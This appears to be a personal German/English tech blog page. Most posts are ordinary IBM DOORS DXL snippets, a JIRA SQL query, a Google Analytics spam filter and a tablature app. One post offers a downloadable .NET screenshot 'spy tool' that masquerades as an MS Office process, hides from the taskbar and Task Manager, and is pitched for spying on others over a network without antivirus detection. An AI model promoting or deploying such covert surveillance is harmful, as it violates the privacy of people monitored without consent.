Projektvorstellung: HTML5+Javascript+Canvas: Guitartabs.de/Tabulaturen.de – Anwendung zum Zeichnen von Tabulaturen (Gitarrennoten)

Intention

Im Proberaum mit Internetzugang ergab sich oft die Situation, in der man schnell ein paar Tabulaturen aufschreiben musste.
Tabulaturen.de soll einfach die nötigsten Werkzeuge liefern um eine druckfähige Tabulatur ohne großen Aufwand zu generieren.

Zielgruppenanalyse

Ranking für Tabulaturen und Guitartabs bei Google

Es ist ein stark rückläufiger Trend für die Suche nach Tabulaturen und Guitartabs zu verzeichnen. Ich vermute dass das Ventil der Suchenden nun vorwiegend YouTube-Videos sind, da man hier auch ein breites Spektrum an Tutorials für Lieder vorfindet.

Was in den meisten Fällen fehlt, wäre das Anreichern von den YouTube Videos mit Tabulaturen. Nun ist natürlich die Frage ob die Video irgendeine Legalitätslücke ausnutzen, da sie regelrecht sprießen. Darf jeder irgendein Lehrvideo machen wenn er keine Tabulaturen zeigt?

Veröffentlicht unter Gitarre, Grafik, HTML/CSS, Javascript, Musik, Programmierung, Song Ideen, Spaß und Spiel | Hinterlasse einen Kommentar

.NET: Spionagetool / Tool was periodisch Screenshots erzeugt / Screenshot tool / Spy Tool

Terms of use – Nutzungbedingungen

Do not use this for illegal purposes. This is a free tool to demonstrate how you can spy third persons or just generate screenshots in a folder (maybe a netdrive).

Dieses Tool darf nicht für illegale Zwecke genutzt werden und dient lediglich der Demonstration von Prozessen, die komplett versteckt im Hintergrund und unentdeckt Spionageaktivitäten ermöglichen.

Warranty – Garantie

I promise that this file is absolutely virus free and will not damage anything or give data to third persons!
Ich verspreche dass dieses Tool absolut virusfrei ist und keinen Schaden am Rechner anrichtet, geschweige denn Daten an dritte Personen weitergibt.

Description – Beschreibung

A hidden tool shall generate periodic screenshots every minute (i.e on a net drive or the directory it has been started in) and be stopable remotely.
Ein unentdeckbares Tool generiert jede Minute periodisch Screenshots in dem Verzeichnis, in dem es gestartet wurde (z.B. auf einem Netzlaufwerk) und es auch zur Not gestoppt werden kann.

Approach – Ansatz

A hidden executed process is running in the background, which is not shown in the task bar and labeled as MS Office process in the Task Manager.
Ein versteckter Prozess gibt sich als Microsoft Office Anwendung aus und ist nicht im Taskmanager unter „Anwendungen“ auffindbar. Er wird nicht in der Taskbar angezeigt.

Prerequirements – Vorraussetzungen

  • .NET Framework
  • Someone can execute the process on a netdrive / Jemand muss die Exe am Netzlaufwerk vorher starten

Solution – Lösung

  • Download and unpack the following tool on a netdrive: ScreenshotTool
  • Double click the process (this will not damage s.th. on the computer!!!)
  • The tool is producing a screenshot every minute in the folder it has been started in.
  • To stop the tool, rename close_.txt to close.txt (otherwise a restart of the computer will stop the process and there is nothing pointing to it).

Fazit

On the screenshot you see the only hint to recognize the running tool. It is not shown in the Task Manager. Via Filesharing/Samba it is possible to spy other persons in a network without getting discovered by virus scans.

taskmanager

 

Veröffentlicht unter .NET, Allgemein, Spaß und Spiel, Unsinn | Hinterlasse einen Kommentar

Google Analytics: Spam-URLs in Zielseite filtern (Bsp Endung .xyz )

Problem

In meinem Google-Analytics waren einige „tote“ Projekte (bzw. brachliegende Domains) eingetragen, die bereits seit geraumer Zeit nicht mehr genutzt wurden. Trotzdem gab es noch eine beachtliche Anzahl an Besuchern, was ich den sprechenden Domainnamen (hier www.tabulaturen.de attestierte.

Als ich dann anfing ein Javascript-Tool für Tabulaturen.de zu entwickeln, und bereits eine beachtliche Menge an Zeit für einen Prototypen investiert hatte, fragte ich mich welche Seiten auf der Domain am häufigsten besucht werden. Ich rief also mein Google-Analytics nach Internetdienstanbieter und Zielseite auf und stellte etliche Spam-Urls mit der Endung .xyz fest:

spam_vorher

Hierbei handelt es sich um Spam-URLs, dessen Betreiber es darauf absehen, dass dessen Seite besucht wird.

Ansatz

Dank der Filterfunktion von Google-Analytics (Verwalten Menü), ist es aber möglich solche Spam-URLs anhand der Top-Level-Domain (hier .xyz) herauszufiltern.

Dies funktioniert leider nicht rückwirkend auf bereits erfasst Daten, wirkt sich ab dem Zeitpunkt des Erfassens aber auf die Statistik aus:
spam_nachher

Lösung

  • Einloggen bei Analytics
  • Menü (oben) „Verwalten“ auswählen
  • In Navigation (links) „Alle Filter“ auswählen
  • Rechts auf „Filter hinzufügen“ klicken

filter_einrichten1

  • Filtername eintragen
  • Filtertyp „Ausschließen“ wählen
  • Filterfeld „Verweis“ wählen
  • Als Filtermuster „xyz“ oder „\.xyz“ eingeben
  • Nicht vergessen: Unten auswählen für welche Seite (welches Property) der Filter gilt
  • UND: Erst ab jetzt werden diese Einträge nicht mehr gespeichert (Einstellung ist nicht retrospektiv!)

filter_einrichten2

Veröffentlicht unter Allgemein, HTML/CSS | Hinterlasse einen Kommentar

IBM Doors DXL: ListView : Callback functions, event listeners on checkboxes, selections, deselections and click

Problem

There are lots of event to react on listView events, but they are not clearly defined in the language reference or the DXL Manual.

Approach

This will show the most common events working with listView DBE elements.

Solution


void doSelect(DBE dbe, int idx)
{
//infoBox idx "<<<<doSelect";
} 

void doDeselect(DBE dbe, int idx)
{
//infoBox idx "<<<<doDeselect";	
} 

void doActivate(DBE dbe, int idx)
{
//infoBox idx "<<<<doActivate";	
} 

void checkBoxReact(DBE lv, int i)
{
    string s = get(lv, i)
    bool b = getCheck(lv, i)
    if ( b ) 
    {
	   int j=0;
	   for(j=0;j<noElems(lv);j++)
	   {
		   if(i!=j)
		   {
			   setCheck(lv,j,false);
		   }
	   }
       //infoBox(s " was selected")
    }
    else
    {
       //infoBox(s " was deselected")
    }
}

And this is how the ListView has been declared:


DB mainDialog=create("Select Baseline to compare");
	
DBE listViewBaselines = listView(mainDialog, listViewOptionCheckboxes,360,10,baselineEntries);
set(listViewBaselines,doSelect,doDeselect,doActivate);
set(listViewBaselines, checkBoxReact);
	
DBE publishButton=apply(mainDialog, "Compare", compareButtonCallBack);
	
realize mainDialog;
	
insertColumn(listViewBaselines, 0, "Baseline", 80, iconNone);
insertColumn(listViewBaselines, 1, "Description", 140, iconNone);
insertColumn(listViewBaselines, 2, "Increment", 140, iconNone);

show mainDialog;
Veröffentlicht unter DXL, IBM DOORS | Hinterlasse einen Kommentar

IBM Doors DXL: Get Traceability for in- and out-links (Performance Check)

Problem

Approach – Ansatz

Solution – Lösung

Lösung 1

Braucht 7 Minuten auf Testmodul


void collectBaselineInfo(Buffer buf, Skip skp)
{ 
  Module m
  Baseline b
  ModName_ mn
  for mn in skp do
  {
    m = read(fullName mn, false)
    if ( !null m ) 
    {
      buf += name(mn)
      b = getMostRecentBaseline(m);
      if ( !null b )
      { 
        buf += ( ", Baseline " major(b) "." minor(b) "\n")
      }
      else 
      { 
        buf += ", Baseline 0.0\n"
      }
    }
    close m
  }  
}


string getTraceability(Module m)
{
  Object o
  Link l
  ModName_ mn
  Skip targetSkp = create
  Skip sourceSkp = create
  Buffer buf = create
  
  // Collect targetmodules and sourcemodules
  for o in m do
  {
    for l in o -> "*" do
    {
      mn = target l
      put(targetSkp, mn, mn)
    }
    for mn in o <- "*" do
    {
      put(sourceSkp, mn, mn)
    } 
  }
  
  buf += "Out-Links\n"
  collectBaselineInfo(buf, targetSkp)
   
  buf += "\nIn-Links\n"
  collectBaselineInfo(buf, sourceSkp)
  
  string s = stringOf buf
  delete buf
  return s
}

Module m = current
print getTraceability(m)

Lösung 2


string getTraceabilityForModule(Module m)
{
  Object obj;
  Skip inLinkSkip=createString;
  Skip outLinkSkip=createString;
	
  filtering off;
	
  for obj in m do
  {
    Link lnk;
    for lnk in obj->"*" do
    {
      string tmn=fullName target(lnk);
      Module openMod=read(tmn,false, true);
      Baseline b = getMostRecentBaseline(openMod);
      int majorBL=-1;
      int minorBL=-1;
			
      if(null b)
      {
        majorBL=0;
        minorBL=0;
      }
      else
      {
        majorBL=major b;
        minorBL=minor b;		
      }
				
      outLinks=name(openMod) ", Baseline " majorBL "." minorBL "";
			
      string dummy;
      if(!find(outLinkSkip, outLinks, dummy))
      {
        put(outLinkSkip, outLinks, outLinks);
      }
    }
		
    LinkRef lnkRef;
    ModName_ otherMod = null;
			
    for lnkRef in all(obj<-"*") do 
    {
      otherMod = module (sourceVersion lnkRef);
      if (!null otherMod) 
      {
        if ((!isDeleted otherMod) && (null data(sourceVersion lnkRef))) 
	{
          load((sourceVersion lnkRef),false);
        }
      }
    }
		
    for lnk in obj <- "*" do 
    { 
      Object src = source lnk;
			
      Baseline b = getMostRecentBaseline(module src);
      int majorBL=-1;
      int minorBL=-1;
			
      if(null b)
      {
        majorBL=0;
        minorBL=0;
      }
      else
      {
        majorBL=major b;
        minorBL=minor b;		
      }
			
      inLinks=name(module src) ", Baseline " majorBL "." minorBL "";
			
      string dummy2;
      if(!find(inLinkSkip, inLinks, dummy2))
      {
        put(inLinkSkip, inLinks, inLinks);
      }
    }
  }
	
  string gesamtAusgabe="";
  bool isFirst=true;
  bool hasOutLinks=false;
  for myIterator in outLinkSkip do
  {
    string myKey = (string key(outLinkSkip));
    string myValue = "";
	
    if(find(outLinkSkip , myKey, myValue))
    {
      if(isFirst)
      {
        gesamtAusgabe=gesamtAusgabe "{\\b Out-Links }" ;
	isFirst=false;
      }
		   
      gesamtAusgabe=gesamtAusgabe "\n" myKey;
      hasOutLinks=true;
    }
  }
	
  // Ne Zeile zwischen machen
  if(hasOutLinks)
  {
    gesamtAusgabe=gesamtAusgabe "\n\n";
  }
	
  isFirst=true;
	
  for myIterator in inLinkSkip do
  {
    string myKey = (string key(inLinkSkip));
    string myValue = "";
	
    if(find(inLinkSkip , myKey, myValue))
    {
      if(isFirst)
      {
        gesamtAusgabe=gesamtAusgabe "{\\b In-Links }" ;
	isFirst=false;
      }
		   
      gesamtAusgabe=gesamtAusgabe "\n" myKey	   
    }
  }
	
  delete outLinkSkip;
  delete inLinkSkip;
	
  return gesamtAusgabe;
}
Veröffentlicht unter DXL, IBM DOORS | Hinterlasse einen Kommentar

IBM Doors DXL: A DXL generated HTML string shall be shown in a browser

Problem

A DXL generated HTML string should be shown in a browser

Approach

Using the DBE Element htmlView it is possible to use an instance from the installation of the Clients Internet Explorer and show generated HTML Files.

Solution


// Global UI Elements
DB mainWindow;
DBE browser;
DBE test;

// Global variables
bool isFirstLoad=true;

void setBrowserHTML(string html){ 
  Buffer b = create;
  string s = html;
  print s;
  b = s;
  set(browser, b);
  delete b;
} 

string myHTML="Add your html code here";

bool onHTMLBeforeNavigate(DBE dbe, string URL, string frame, string body)
{ 
  string buttons[] = {"OK"};
  string message = "Before navigate - URL: " URL "\r\nFrame: " frame "\r\nPostData: " body "\r\n";
  print message "";
  return true;
} 
void onHTMLDocComplete(DBE dbe, string URL){ 
  string buttons[] = {"OK"};
  string message = "Document complete - URL: " URL "\r\n";
  print message "";
  string s = get(dbe);
  print "url: " s "\r\n";
	
  if(isFirstLoad)
  {
    setBrowserHTML(myHTML);
    isFirstLoad=false;
  }
} 
bool onHTMLError(DBE dbe, string URL, string frame, int error){ 
  string buttons[] = {"OK"};
  string message = "Navigate error - URL: " URL "; Frame: " frame "; Error: " error "\r\n"; 
  print message "" ;
  return true;
} 
void onHTMLProgress(DBE dbe, int percentage){ 
  string buttons[] = {"OK"};
  string message = "Percentage complete: " percentage "%\r\n";
  print message;
  return true;
} 

void showHTMLCallBack(DB x)
{
  setBrowserHTML(myHTML);	
}
	
void main(void)
{
  mainWindow=create("Traceability Master Professional");
  browser = htmlView(mainWindow, 1024, 768, "", 
  onHTMLBeforeNavigate, onHTMLDocComplete, onHTMLError, onHTMLProgress),
  test=apply(mainWindow, "Show HTML", showHTMLCallBack);		
  realize mainWindow;
  show mainWindow;
}

main();
Veröffentlicht unter DXL, IBM DOORS | Hinterlasse einen Kommentar

IBM Doors DXL: Usefull Loops and Iterations through Doors collections

Loop all views in module


Module m=current;
string myView;

for myView in views m do 
{
   print myView "\n";
}

Example: Get all Filter Strings from all views in current Module


Module m=current;
string myView;

for myView in views m do 
{
   print myView "\t";
   View v=view(myView);
   load(m,v);
   Filter f=current;

   if(null f)
   {
	print "no filter\n"
   }
   else
   {
      string filterString=stringOf(m,f);
      print filterString "\n";
   }
}

Loop all attributes on module


Module m=current;
string attribute;
for attribute in m do {
	print attribute "\n";
}

Loop through all In-Links (with Baselines) of an Object


Object obj=current;

Link lnk;
LinkRef lnkRef;
ModName_ otherMod = null;
string linkModuleString;

// I.e. for different Projects with different
// Link-Module Locations
string projName = name(current Project);	
if(projName=="VarCo")
{
  // Links zu Change Request
  linkModuleString = "/VarCo/20 Sample Project/22 Links/Changes"; 
}
else
{
  // Links zu Change Request
  linkModuleString = "/Project/90 Administration/Changes"; 
}
	
int lnkCount=0;
	
Item linkModItem = itemFromID(uniqueID(item(linkModuleString)));
linkModName = fullName(linkModItem);
	
for lnkRef in all(obj<-linkModName) do 
{
  otherMod = module (sourceVersion lnkRef);
  if (!null otherMod) 
  {
    if ((!isDeleted otherMod) && (null data(sourceVersion lnkRef))) 
    {
      load((sourceVersion lnkRef),false);
    }
  }
}
	
for lnk in all(obj<-linkModName) do 
{
  // Get In-Link Object
  Object src = source lnk;
  if ( isDeleted(src) || null(src) ) continue;
	
  identifierCC =  identifier(src) "";
  lnkCount++;
}

Loop through out-links of an object


Object obj=current;

Link lnk;

for lnk in obj->"*" do
{
  string tmn=fullName target(lnk);

  if(!open module tmn)
  {
    read(tmn,false);
  }

  Object tgt = target(lnk);
  print identifier(tgt) "\n";
}

Loop through all (with baselines) out-links of an object

First Approach


Module baselineModul=current;                                         

string satisfiesModuleString = "/NDS/90 Administration/Satisfies";
int object_count=0;
int link_count=0;

Object blObject;    
for blObject in baselineModul do 
{
	// Laufe durch die gebaselinten Outlinks
	Link lnk;
	for lnk in all(blObject->satisfiesModuleString) do
	{
		ModuleVersion mvTarget=targetVersion(lnk);
		if(null data(mvTarget)) 
		{
			load(mvTarget,false);			
		}
		
		Object tgt=target(lnk);
		link_count++;
    }
	 
	 object_count++;
}

print "Link Count: " link_count "\nObject Count: "  object_count "";

Second Approach


Module baselineModul=current;

ModName_ otherMod=null;                                                

string satisfiesModuleString = "/NDS/90 Administration/Satisfies";
int object_count=0;
int link_count=0;

Object blObject;    
for blObject in baselineModul do 
{
    	
	// Laufe durch die gebaselinten Outlinks
	Link lnk;
	for lnk in all(blObject->satisfiesModuleString) do
	{
	  	string tmn=fullName target(lnk);
	  
	  	otherMod = module (targetVersion lnk);
	  	if (!null otherMod) 
	  	{
	   		if ((!isDeleted otherMod) && (null data(targetVersion lnk))) 
			{
			
				load((targetVersion lnk),false);
			}
	  	}			  
	
	  	Object tgt = target(lnk);
	  	
	  	if(null tgt)
	  	{
		  	print "Is null das Teil!\n";
	  	}
	  	else
	  	{
		  	Baseline blI= baselineInfo(module tgt);
		  	print major(blI) " " minor (blI) "\n";
	  	}
	  	
  		link_count++;
	 }
	 
	 object_count++;
}

print "Link Count: " link_count "\nObject Count: "  object_count "";

Loop through all (with baselines) out-links without opening the target module


Object obj=current;

Link lnk;
for lnk in all(obj->"*") do
{
	ModuleVersion mvTarget=targetVersion(lnk);
	Baseline b = baseline(mvTarget);
	if(!null b)
      {
		// Wenn der Link nicht auf Current geht
		print major(b) "." minor(b) "\n";
      }
	print fullName(mvTarget) " " targetAbsNo(lnk) "\n";
}
Veröffentlicht unter DXL, IBM DOORS | Hinterlasse einen Kommentar

Atlassian JIRA+MS SQL Server: Get selected custom field value for Issue from JIRA Database in SQL

Problem

A selected custom field value, that is in a MS SQL Server JIRA Database should be retrieved.

Ansatz – Approach

The tables project_key, jiraissue, CustomFieldValue, customfield and customfieldoption have to be joined

Lösung – Solution


SELECT pk.PROJECT_KEY+'-'+CAST(a.issuenum AS varchar(max)) as issue, c.cfname as field, d.customvalue 
FROM project_key pk
INNER JOIN jiraissue a ON pk.PROJECT_ID=a.PROJECT 
INNER JOIN CustomFieldValue b ON a.ID=b.ISSUE
INNER JOIN customfield c ON b.CUSTOMFIELD=c.id 
INNER JOIN customfieldoption d ON c.id=d.CUSTOMFIELD 
WHERE c.CFName = 'Requirements/Specifications affected?' 
AND   b.STRINGVALUE=CAST(d.id as varchar(max))
Veröffentlicht unter Atlassian JIRA, MS SQL Server | Hinterlasse einen Kommentar

IBM Doors DXL: Check if user is member of a group

Problem

Es soll geprüft werden, ob ein User Mitglied eienr Gruppe ist.
It shall be checked whether a user is a member of a group or not..

Lösung – Solution


User u= find();
Group g=find("ChangeControlBoard");
bool isCCB=member(g,u);
Veröffentlicht unter DXL, IBM DOORS | Hinterlasse einen Kommentar

IBM Doors DXL: Rekursiv durch alle Module eines Folders / Iterate recursive all formal modules of a folder

Problem

Es soll durch alle Module eines Ordners / Folders und deren Unterordner / Subfolders iteriert werden.
All modules of a folder in a project (not the project itself) shall be iterated:

Ansatz – Approach

Das Skript aus dem vorherigen Artikel „Iterate all modules“ wird um eine Rekursion erweitert
The script „Iterate all modules…“ will be extended with a recursive call.

Solution – Lösung


string startFolder="/Project/Folder/";
int moduleCount=0;

void forAllModulesInFolder(Folder f)
{
  Item itemRef;
  string shType;
  string sItemNameFull;
  string sItemName;
  Module moduleReference;

  for itemRef in f do
  {
    shType = type(itemRef);
    print shType "\t";

    sItemNameFull = fullName(itemRef);
    print sItemNameFull "\t";

    sItemName = name(itemRef);
    print sItemName "\n";

  if(shType=="Folder")
  {
    string selectedFolder = sItemNameFull;
    Folder f=folder selectedFolder;
    forAllModulesInFolder(f);
  }

  if(shType=="Formal")
  {
    moduleReference = read(sItemNameFull,false,true);
    filtering off;
    // do s.th. with the moduleReference
    close(moduleReference);
    moduleCount++;
  }
}

// Main-Method
void main(void)
{
  string selectedFolder = startFolder;
  Folder f=folder selectedFolder;
  forAllModulesInFolder(f);
  print "Affected Modules: " moduleCount "\n";
}

main();

Für das ganze Projekt siehe auch…
For the whole project also see…

IBM Doors DXL: Durch alle Module iterieren/laufen / Iterate all modules in a project

Veröffentlicht unter DXL, IBM DOORS | 1 Kommentar